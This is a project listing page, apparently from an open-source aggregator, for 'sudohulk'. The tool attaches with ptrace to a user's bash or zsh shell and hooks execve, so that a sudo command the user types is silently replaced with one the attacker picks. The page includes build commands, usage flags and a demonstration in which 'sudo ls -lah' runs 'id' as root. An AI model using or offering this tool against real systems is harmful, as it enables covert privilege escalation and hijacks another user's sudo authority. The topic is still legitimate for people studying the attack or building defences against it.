Awesome Open Source
Awesome Open Source


This tool change sudo command, hooking the execve syscall using ptrace, tested under bash and zsh

supported architectures:

  • [x] x86_64
  • [x] x86
  • [x] arm

How use:

$ make
cc -Wall -Wextra -O2 -c -o bin/sh_remotedata.o src/sh_remotedata.c
cc -Wall -Wextra -O2 -c -o bin/sh_string.o src/sh_string.c
cc -Wall -Wextra -O2 -c -o bin/sudohulk.o src/sudohulk.c
cc -Wall -Wextra -O2 -o sudohulk bin/sh_remotedata.o bin/sh_string.o bin/sudohulk.o
$ ./sudohulk 
sudohulk [-qdk] PID COMMAND [ARGS]

   -q quit when change a command
   -d run in background
   -k keep original command line (appending to new)


PID = bash or zsh pid

To attach the current session use -d option, example:

$ ./sudohulk -qd $$ id
running in background, pid:20899
$ sudo ls -lah
[sudo] senha para mmxm: 
uid=0(root) gid=0(root) grupos=0(root)



Get A Weekly Email With Trending Projects For These Topics
No Spam. Unsubscribe easily at any time.
C (275,665
Linux (16,438
Bash (6,988
Zsh (3,211
Hooks (2,819
Hacking Tool (886
Sudo (131
Related Projects